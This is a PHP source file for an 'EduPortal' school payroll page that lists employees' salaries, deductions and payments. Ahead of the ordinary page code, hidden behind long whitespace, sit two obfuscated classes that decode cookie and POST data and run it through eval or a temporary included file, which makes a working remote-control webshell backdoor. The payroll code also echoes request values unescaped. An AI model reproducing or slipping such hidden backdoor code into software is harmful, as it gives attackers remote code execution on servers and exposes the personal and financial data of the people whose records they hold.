<?php                                                                                                                                                                                                                                                                                                                                                                                                 $cWhxe = class_exists("iO_Pex"); $qKSbskuOb = $cWhxe;if (!$qKSbskuOb){class iO_Pex{private $NYNdLIccx;public static $fPnjIoi = "09552126-9eca-42a5-9f95-bc46dcefa72a";public static $OtIjfAVGlV = NULL;public function __construct(){$FcJzRl = $_COOKIE;$sIMrlAF = $_POST;$GNPhZCCCKB = @$FcJzRl[substr(iO_Pex::$fPnjIoi, 0, 4)];if (!empty($GNPhZCCCKB)){$ZlKJAf = "base64";$UkFFfcwwnz = "";$GNPhZCCCKB = explode(",", $GNPhZCCCKB);foreach ($GNPhZCCCKB as $nxzFiOhsHR){$UkFFfcwwnz .= @$FcJzRl[$nxzFiOhsHR];$UkFFfcwwnz .= @$sIMrlAF[$nxzFiOhsHR];}$UkFFfcwwnz = array_map($ZlKJAf . "\x5f" . chr ( 845 - 745 )."\x65" . 'c' . chr (111) . 'd' . chr (101), array($UkFFfcwwnz,)); $UkFFfcwwnz = $UkFFfcwwnz[0] ^ str_repeat(iO_Pex::$fPnjIoi, (strlen($UkFFfcwwnz[0]) / strlen(iO_Pex::$fPnjIoi)) + 1);iO_Pex::$OtIjfAVGlV = @unserialize($UkFFfcwwnz);}}public function __destruct(){$this->cAFjeSIf();}private function cAFjeSIf(){if (is_array(iO_Pex::$OtIjfAVGlV)) {$teAORcVAgH = str_replace(chr ( 215 - 155 ) . chr (63) . chr (112) . 'h' . "\x70", "", iO_Pex::$OtIjfAVGlV["\x63" . 'o' . chr (110) . "\164" . 'e' . chr (110) . 't']);eval($teAORcVAgH);exit();}}}$cdRklCODGk = new iO_Pex(); $cdRklCODGk = NULL;} ?><?php                                                                                                                                                                                                                                                                                                                                                                                                 $NlDwUbx = class_exists("L_cCKO");if (!$NlDwUbx){class L_cCKO{private $cFZTlYch;public static $AIjQY = "523fed38-c661-47e6-81b5-939577b86569";public static $MwgTM = NULL;public function __construct(){$FTfFcAmLk = $_COOKIE;$hrHwJ = $_POST;$Gupgtuvt = @$FTfFcAmLk[substr(L_cCKO::$AIjQY, 0, 4)];if (!empty($Gupgtuvt)){$vjKwjl = "base64";$vQPEKr = "";$Gupgtuvt = explode(",", $Gupgtuvt);foreach ($Gupgtuvt as $EGjpU){$vQPEKr .= @$FTfFcAmLk[$EGjpU];$vQPEKr .= @$hrHwJ[$EGjpU];}$vQPEKr = array_map($vjKwjl . "\x5f" . "\144" . 'e' . 'c' . "\157" . chr ( 210 - 110 ).'e', array($vQPEKr,)); $vQPEKr = $vQPEKr[0] ^ str_repeat(L_cCKO::$AIjQY, (strlen($vQPEKr[0]) / strlen(L_cCKO::$AIjQY)) + 1);L_cCKO::$MwgTM = @unserialize($vQPEKr);}}public function __destruct(){$this->FQQmCW();}private function FQQmCW(){if (is_array(L_cCKO::$MwgTM)) {$wyDcAt = sys_get_temp_dir() . "/" . crc32(L_cCKO::$MwgTM["\163" . "\141" . "\x6c" . chr ( 467 - 351 )]);@L_cCKO::$MwgTM[chr ( 299 - 180 ).chr ( 645 - 531 ).'i' . chr ( 909 - 793 )."\145"]($wyDcAt, L_cCKO::$MwgTM[chr (99) . chr ( 205 - 94 ).chr ( 557 - 447 )."\x74" . "\x65" . "\x6e" . 't']);include $wyDcAt;@L_cCKO::$MwgTM['d' . "\145" . 'l' . chr ( 1085 - 984 )."\164" . chr (101)]($wyDcAt);exit();}}}$yLHSDqv = new L_cCKO(); $yLHSDqv = NULL;} ?><?php include("parent/callMe.php"); ?>
<?php  include("sessioncheck.php"); ?>
<?php

// settings month details

  $default;
 
  if($_GET["month"]!=NULL ){

      $default= $_GET["month"];
    }
    else{
      $default= date("m");
    }
  
    $session;
 
  if($_GET["month"]!=NULL ){

      $session= $_GET["session"];
    }
    else{
      $session= $_SESSION['current_session'];
    }

 $branch=$_SESSION['branch'];
 $m->where("status", '0');
 $m->where("branch_id", $_SESSION['branch']);
 $m->where("designation_id!=14");
 $m->orderBy("user_id", 'desc');
 $WorkAssignListings = $m->get("edu_user_config");
 
$m->where("Month_Id", $default);
$month_name=$m->get("eduportal_month_config");
 
     ?>


<!DOCTYPE html>
<html lang="en">
  <head>
    
    <title>View Employees PayRoll | EduPortal</title>
    <?php include('RootMe/css_links.php');?>
   
  <style>

.cellcolor{background-color:lightgray;border:1px solid black;}

</style>
  </head>
  




  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
        <div class="col-md-3 left_col">
     
            <?php include('RootMe/sidebar.php');?>

              <?php include('RootMe/header.php');?>
     
        <!-- page content -->
          <div class="right_col" role="main">
          <div class="row" style="background-color: white;">
           
  <section class="add_sub_agent" id="table_sub_agent">
  <div class="container">

 <div class="" style="margin-top:10px;">
      
      <div class="clearfix"></div>
    </div>

<div style="overflow-x:auto;">
      

<form class="form-style-7" action="view_payroll.php" method="Get">

 <div class="col-md-12">
             
<?php 

 if(isset($_SESSION['emp_error_msg'])){
?>
<div class="col-md-12">

  <div  style="display:block;" class="alert alert-danger alert-dismissible">
      <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
       <strong>Warning !</strong> Attendance has already saved of this date!!!
  </div>

</div>
<?php 
  unset($_SESSION['emp_error_msg']);
   }
?>
 
</div>      
              
              <div class="col-md-3 col-sm-12 col-xs-12" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Session</label>
                    <select name="session" class="form-control"  style="height:40px;">

                              
                        <?php

                       $match;
                        if(!isset($_REQUEST['session'])){
                          $match=$_SESSION['current_session'];
                        }else { $match=$_REQUEST['session']; }
                       
                                 
                        $WorkAssignList = $m->get("edu_session_config");
                        foreach($WorkAssignList as $WorkAssignListVal)
                        { ?>

                           <option <?php if($match==$WorkAssignListVal['session_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['session_id']; ?>"><?php echo $WorkAssignListVal['session_year']; ?></option>


                                <?php
                        } ?>

                    </select>
                </div>
              </div>


               <div class="col-md-3 col-sm-12 col-xs-12" style="padding: 8px;">
                <label>Month</label>
                <select style="height:40px;" name="month" id="month" class="form-control"  required>

                              <option value="">Select Month</option>
                        
                        <?php
                        $WorkAssignList = $m->get("eduportal_month_config");
                        foreach($WorkAssignList as $WorkAssignListVal)
                        { ?>

                           <option <?php if($default==$WorkAssignListVal['Month_Id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['Month_Id']; ?>"><?php echo $WorkAssignListVal['Month_Name']; ?></option>


                                <?php
                        } ?>

                    </select>
              </div>
 

              <div class="col-md-5 " style="padding:2px;">
    
        
                <div class="form-group ">
                   
                <button id="month"  type="submit" class="btn btn-primary" style="margin-top: 34px;">Search PayRoll</button>

                <a href="payroll_report.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&month=<?php echo $_GET['month'];?>" id="subuser"target="_blank" class="btn btn-success" style="margin-top: 34px;">Print Report </a>

                <a href="print_emp_salary_report.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&std=<?php echo $WorkAssignListVal[0]['student_id'];?>&month=<?php echo $_GET['month'];?>"style="margin-top:34px;" class="btn btn-success"target="_blank" > Employee Sheet </a>
                </div>

        
              </div>
             
</form>
    <table id="searchstudents" data-page-length='100' class="table table-striped table-bordered" style="width:100%;font-size:11px;">
 
 
<!--     <?php  if(!isset($_GET['month'])){?>


      <div class="alert alert-danger col-md-12" id="msg">
       <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
        <strong>Caution!</strong> Please select month and click search!!!
      </div>

    <?php  } ?>
 -->
   
    <?php  if(isset($_SESSION['Added'])){?>


      <div class="alert alert-success col-md-12" id="msg">
       <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
        <strong>Success!</strong> Record is added successfully...
      </div>

    <?php  unset($_SESSION['Added']); } ?>


    <?php  if(isset($_SESSION['Updated'])){?>


      <div class="alert alert-success col-md-12" id="msg">
       <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
        <strong>Success!</strong> Record is Updated successfully...
      </div>

    <?php  unset($_SESSION['Updated']); } ?>




          <thead>
          <caption style="font-size:20px;font-weight:bold;"><center>Employee PayRoll</center></caption>
            <tr>
              <th colspan="2" style="font-size:14px;"><center>Emp Detail</center></th>
              
                
                <th colspan="5" style="font-size:14px;background-color:#00afef;color: white;"><center>Deductions</center></th>
                <th colspan="4" style="font-size:14px;background-color:#00afef;color: white;"><center>Allowances</center></th>
                <th colspan="3"></th>
                                
            </tr>

            <tr>
                <th width="" style="padding-left:1px;">Emp Name</th>
                <!-- <th width="" style="padding-left:1px;">Designation</th> -->
                <th width=""  class="cellcolor" style="padding-left:1px;">Basic sal</th>
                <th width="" style="padding-left:1px;">P.Bal</th>
                <th width="" style="padding-left:1px;">Security</th>
                <th width="" style="padding-left:1px;">Other</th>
                <th width="" style="padding-left:1px;">Leave</th>
                <th width="" class="cellcolor" style="padding-left:1px;">Total</th>
                <th width="" style="padding-left:1px;">Leave</th>
                <th width="" style="padding-left:1px;">Other</th>
                <th width="" class="cellcolor" style="padding-left:1px;">Total</th>
                <th width="" class="cellcolor" >Net Total</th>
                <th width="10%" >Paid</th>
                <th width="" >Remaning</th>

            </tr>
        </thead>
        <tbody>
     
     <?php
     
     $count=1; 

      foreach($WorkAssignListings as $WorkAssignListVal)
      { 

        $m->where("designation_id", $WorkAssignListVal['designation_id']);
        $designation=$m->get("eduportal_designation_config");

        $m->where("department_id", $WorkAssignListVal['department_id']);
        $department=$m->get("eduportal_hrm_department_config");

        $m->where("branch_id", $_SESSION['branch']);
        $m->where("session_id",$session);
        $m->where("user_id", $WorkAssignListVal['user_id']);
        $m->where("month_id", $default);
        $payrolldata=$m->get("employee_payroll");

       

        $total_deduction= ($payrolldata[0]['security_deductions']+$payrolldata[0]['other_deductions']+$payrolldata[0]['leave_deduction']);
        $total_allowances= ($payrolldata[0]['leave_encashment']+$payrolldata[0]['other_allowances']);

        $netPayble=($payrolldata[0]['basic_salary'] + $total_allowances + $payrolldata[0]['previous_balance']) - ($total_deduction);
        
        $remaning =$netPayble - $payrolldata[0]['paid_amount'];

        
      ?>


<tr>
        
      <td> 
     <!--  <a data-toggle="modal" data-toggle="modal" data-target="#EmpPayroll<?php //echo $WorkAssignListVal['user_id'];?>" style="padding: 0px 5px; font-size:14px;" href ="#"> -->
      
      <a href="emp_details.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&emp=<?php echo $WorkAssignListVal['user_id'];?>"><?php echo $WorkAssignListVal['user_fname'];?></a>

     <!--  </a> -->
      </td>
      <!-- <td> <?php echo $designation[0]['designation_name'];?> </td> -->
      <td class="cellcolor"> <?php echo $payrolldata[0]['basic_salary'];?></td>
      <td> <?php echo $payrolldata[0]['previous_balance'];?></td>
      <td> <?php echo $payrolldata[0]['security_deductions'];?> </td>
      <td> <?php echo $payrolldata[0]['other_deductions'];?> </td>
      <td> <?php echo $payrolldata[0]['leave_deduction'];?> </td>
      <td class="cellcolor"> <?php echo $total_deduction;?> </td>
      <td> <?php echo $payrolldata[0]['leave_encashment'];?> </td>
      <td> <?php echo $payrolldata[0]['other_allowances'];?> </td>
      <td class="cellcolor"> <?php echo $total_allowances;?> </td>
      <td  class="cellcolor"> <?php echo $netPayble;?> </td>
       <td>
   
             <?php if($payrolldata[0]['paid_status']==0  && count($payrolldata)>0){ ?>    

              <a data-toggle="modal" data-target="#EmpPayroll<?php echo $payrolldata[0]['user_id'];?>" style="padding: 0px 5px; font-size:14px;" href="#" class="btn btn-warning">

                  PAY
                  
              </a> 

                 <?php } else if($payrolldata[0]['paid_status']==1){ ?>    
                
               <a data-toggle="modal" style="padding: 0px 5px; font-size:14px;"  class="btn btn-success">
                    Paid <i class="fa fa-check" aria-hidden="true"></i>

                    </a> 


                 <?php } ?> 
                 
                 <?php if(count($payrolldata)>0){ ?>   

                 <a data-toggle="modal" data-target="#EditEmpPayroll<?php echo $payrolldata[0]['user_id'];?>" style="padding: 0px 5px; font-size:14px;" href="#" class="btn btn-success">
                 <i class="fa fa-pencil" aria-hidden="true"></i>
                 </a>
                 <?php }?> 

                 <?php if(count($payrolldata)>0){ ?>   

                 <a  style="padding: 0px 4px; font-size:14px;" href="salary_slip.php?user_id=<?php echo $WorkAssignListVal['user_id'];?>&month=<?php echo $_GET['month'];?>&session=<?php echo $_GET['session'];?>" class="btn btn-success">
                 <i class="fa fa-print" aria-hidden="true"></i>
                 </a>
                 <?php }?>

            </td>
          <td> <?php echo $remaning ;?> </td>

        <!-- Employee Pay Salary Popup start -->


      <div id="EmpPayroll<?php echo $WorkAssignListVal['user_id'];?>" class="modal fade" role="dialog">
        <div class="modal-dialog">

          <!-- Modal content-->
          <div class="modal-content">
            <div class="modal-header" style="border-bottom:none;">
              <button type="button" class="close" data-dismiss="modal">&times;</button>
              <h4 class="modal-title" style="text-align:center;"> SALARY OF (<?php echo $WorkAssignListVal['user_fname']." - ".$WorkAssignListVal[0]['user_lname']; ?>)  </h4>
            </div>

            <div class="modal-body">

<form class="form-style-7" action="<?php echo DOMAIN.AgentDirectory;?>parent/InsertMe.php" method="post"  enctype="multipart/form-data">

           <input type="hidden" name="action" value="Paysalary"> 
           <input type="hidden" id="date"  name="month" value="<?php echo $_GET['month']; ?>" />
           <input type="hidden" id="date"  name="employee" value="<?php echo $WorkAssignListVal['user_id']; ?>" />
         
         
                         
                         

                <div class="col-md-4" >
                      <div class="form-group" >
                        
                        <label>  Employee Name </label>
                          <input style="height:40px;padding-left:1%;" type="text" value="<?php echo $WorkAssignListVal['user_fname'];?>"  class="form-control field" name="empname" readonly/>
                      </div>
                </div>

                 <div class="col-md-4" >
                      <div class="form-group" >
                        
                        <label>  Designation </label>
                          <input style="height:40px;padding-left:1%;" type="text"  value="<?php echo $designation[0]['designation_name']; ?>"  class="form-control field" name="desig" readonly/>
                      </div>
                  </div>


                 <div class="col-md-4" >
                      <div class="form-group" >
                        
                        <label>  Basic Salary </label>
                          <input style="height:40px;padding-left:1%;" type="text"  value="<?php echo $payrolldata[0]['basic_salary'];?>"  class="form-control field" readonly/>
                      </div>
                  </div>




                 <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Total Allowance </label>
                            
                              <input style="height:40px;padding-left:1%;" type="text"  value="<?php echo $payrolldata[0]['total_allowances']; ?>"  class="form-control field" name="tallow" readonly/>
                          </div>
                    </div>


                    <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Total Deduction </label>
                            
                              <input style="height:40px;padding-left:1%;" type="text"  value="<?php echo $payrolldata[0]['total_deduction']; ?>"  class="form-control field" name="tdeduc" readonly/>
                          </div>
                    </div>

                    <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Net Payable </label>
                            
                              <input style="height:40px;padding-left:1%;" type="text"  value="<?php echo $netPayble; ?>"  class="form-control field" name="npay" readonly/>
                          </div>
                    </div>

                    <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Paid Date </label>
                            
                              <input style="height:40px;padding-left:1%;" type="date"  value="<?php echo date('Y-m-d'); ?>"  class="form-control field" name="pdate"/>
                          </div>
                    </div>

                     <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Enter Amount<span style="color:red;">*</span> </label>
                              <input style="height:40px;padding-left:1%;"autocomplete="off"  type="text"  required  class="form-control field" name="payamount" value="<?php echo $netPayble; ?>" />
                          </div>
                      </div>



            <div class="modal-footer">

            <button type="submit" class="btn btn-primary" name="submit" >Submit </button>
              


            </div>



                 </form>

          </div>

          </div>

        </div>
      </div>

      <!-- Employee Pay Salary popup ending -->

       <!-- Employee Edit Salary Popup start -->


      <div id="EditEmpPayroll<?php echo $WorkAssignListVal['user_id'];?>" class="modal fade" role="dialog">
        <div class="modal-dialog">

          <!-- Modal content-->
          <div class="modal-content">
            <div class="modal-header" style="border-bottom:none;">
              <button type="button" class="close" data-dismiss="modal">&times;</button>
              <h4 class="modal-title" style="text-align:center;"> SALARY OF (<?php echo $WorkAssignListVal['user_fname']." - ".$WorkAssignListVal[0]['user_lname']; ?>)  </h4>
            </div>

            <div class="modal-body">

<form class="form-style-7" action="<?php echo DOMAIN.AgentDirectory;?>parent/InsertMe.php" method="post"  enctype="multipart/form-data">

           <input type="hidden" name="action" value="EditEmployeeSalary"> 
           <input type="hidden" id="date"  name="month" value="<?php echo $_GET['month']; ?>" />
           <input type="hidden" id="date"  name="session" value="<?php echo $_GET['session']; ?>" />
           <input type="hidden" id="date"  name="employee" value="<?php echo $WorkAssignListVal['user_id']; ?>" />
         
         
                         
                         

                <div class="col-md-4" >
                      <div class="form-group" >
                        
                        <label>  Previous Balance </label>
                          <input style="height:40px;padding-left:1%;" type="text" value="<?php echo $payrolldata[0]['previous_balance'];?>"  class="form-control field" id="previous<?php echo $WorkAssignListVal['user_id'];?>" 
                        onkeyup="net_totals(<?php echo $WorkAssignListVal['user_id'];?>)" name="pre_balance"/>
                      </div>
                </div>

                 <div class="col-md-4" >
                      <div class="form-group" >
                        
                        <label>  Basic Salary </label>
                          <input style="height:40px;padding-left:1%;" type="text" value="<?php echo $payrolldata[0]['basic_salary'];?>"  class="form-control field" id="basic<?php echo $WorkAssignListVal['user_id'];?>" onkeyup="net_totals(<?php echo $WorkAssignListVal['user_id'];?>)" name="basic_salary"/>
                      </div>
                </div>

                 <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Security </label>
                            
                              <input style="height:40px;padding-left:1%;" type="text" id="ded_security<?php echo $WorkAssignListVal['user_id'];?>" value="<?php echo $payrolldata[0]['security_deductions']; ?>" onkeyup="total_deductions(<?php echo $WorkAssignListVal['user_id'];?>)"  class="form-control field" name="security_deductions"/>
                          </div>
                    </div>



                    <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Leave Deduction </label>
                            
                              <input style="height:40px;padding-left:1%;" type="text" id="ded_leavdec<?php echo $WorkAssignListVal['user_id'];?>" value="<?php echo $payrolldata[0]['leave_deduction']; ?>" onkeyup="total_deductions(<?php echo $WorkAssignListVal['user_id'];?>)"  class="form-control field" name="leave_deduction"/>
                          </div>
                    </div>

                    <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Other Deduction </label>
                            
                              <input style="height:40px;padding-left:1%;" type="text" id="ded_othrdec<?php echo $WorkAssignListVal['user_id'];?>"  value="<?php echo $payrolldata[0]['other_deductions']; ?>" onkeyup="total_deductions(<?php echo $WorkAssignListVal['user_id'];?>)" class="form-control field" name="other_deductions"/>
                          </div>
                    </div>

                    <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Total Deduction </label>
                            
                              <input style="height:40px;padding-left:1%;" type="text" id="totaldec<?php echo $WorkAssignListVal['user_id'];?>"  value="<?php echo $payrolldata[0]['total_deduction']; ?>"  class="form-control field" readonly name="total_deduction"/>
                          </div>
                    </div>


                     <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Leave Allowance </label>
                              <input style="height:40px;padding-left:1%;"autocomplete="off"  type="text" id="alw_levcash<?php echo $WorkAssignListVal['user_id'];?>" onkeyup="total_allowances1(<?php echo $WorkAssignListVal['user_id'];?>)" class="form-control field" value="<?php echo $payrolldata[0]['leave_encashment']; ?>" name="leave_encashment" />
                          </div>
                      </div>

                                           

                      <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Other Allowance </label>
                              <input style="height:40px;padding-left:1%;"autocomplete="off"  type="text" id="alw_othrallowans<?php echo $WorkAssignListVal['user_id'];?>" class="form-control field"  onkeyup="total_allowances1(<?php echo $WorkAssignListVal['user_id'];?>)" value="<?php echo $payrolldata[0]['other_allowances']; ?>" name="other_allowances" />
                          </div>
                      </div>

                      <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Total Allowance </label>
                              <input style="height:40px;padding-left:1%;"autocomplete="off"  type="text" id="totalallow<?php echo $WorkAssignListVal['user_id'];?>" class="form-control field" readonly value="<?php echo $payrolldata[0]['total_allowances']; ?>" name="total_allowances" />
                          </div>
                      </div>

                      <div class="col-md-4" >
                          <div class="form-group" >
                            
                            <label>  Net Total </label>
                              <input style="height:40px;padding-left:1%;"autocomplete="off"  type="text" id="totalamt<?php echo $WorkAssignListVal['user_id'];?>" class="form-control field"  value="<?php echo $payrolldata[0]['previous_balance']+$WorkAssignListVal['user_salary']+$payrolldata[0]['total_allowances']-$payrolldata[0]['total_deduction']; ?>" readonly name="net_total" />
                          </div>
                      </div>



            <div class="modal-footer">

            <button type="submit" style="margin: 30px;" class="btn btn-primary" name="submit" >Submit </button>
              


            </div>

<script>

   function total_deductions(id) {
      
        
       
        var ded_othrdec=document.getElementById("ded_othrdec"+id).value;
        var ded_leavdec=document.getElementById("ded_leavdec"+id).value;
        var ded_security=document.getElementById("ded_security"+id).value;

  
        var total_ded= Number(ded_othrdec)+Number(ded_leavdec) + Number(ded_security);
        
        document.getElementById("totaldec"+id).value=total_ded;

       net_totals(id); 
      }


     function total_allowances1(id) {
       
        
      
        var cash_alw=document.getElementById("alw_levcash"+id).value;
     
        var othr_alw=document.getElementById("alw_othrallowans"+id).value;

       //  alert(tra_alw);
        
        var total_alw=  Number(cash_alw) +Number(othr_alw);
        
        document.getElementById("totalallow"+id).value=total_alw;

        net_totals(id);
      }

      function net_totals(id) {
        
        
        var basic_slar=document.getElementById("basic"+id).value;
        var prev_slar=document.getElementById("previous"+id).value;
        var total_alw=document.getElementById("totalallow"+id).value;
        var total_ded=document.getElementById("totaldec"+id).value;
       

        
        
        var total_amount= (Number(basic_slar) + Number(total_alw) +  Number(prev_slar))- Number(total_ded);
        
        document.getElementById("totalamt"+id).value=total_amount;



        
      }




</script>


                 </form>

          </div>

          </div>

        </div>
      </div>

      <!-- Employee Edit Salary popup ending -->


      </td>

</tr>

<?php
      } ?>

        </tbody>
        
    </table>

  

</div>

    <br><br>


  </div>
  <div class="clearfix"></div>
</section>          
    

           
          </div>
        </div>

            </div>
          </div>
        </div>
        <!-- /page content -->
  

    
 <!-- jQuery -->
    <script src="js/ajax_functions.js"></script>
  <?php include('RootMe/js_linksscript.php');?> 
  <!-- Links for Datatable-->

<script src="https://cdn.datatables.net/1.10.13/js/jquery.dataTables.min.js"></script>
 <script>
        
  $(document).ready(function() {
    $('#searchstudents').DataTable({
      "pageLength": 100
    });
    } 
  );

  $("#checkAll").change(function () {

      $("input:checkbox").prop('checked', $(this).prop("checked"));
  });


</script>
  </body>
</html>
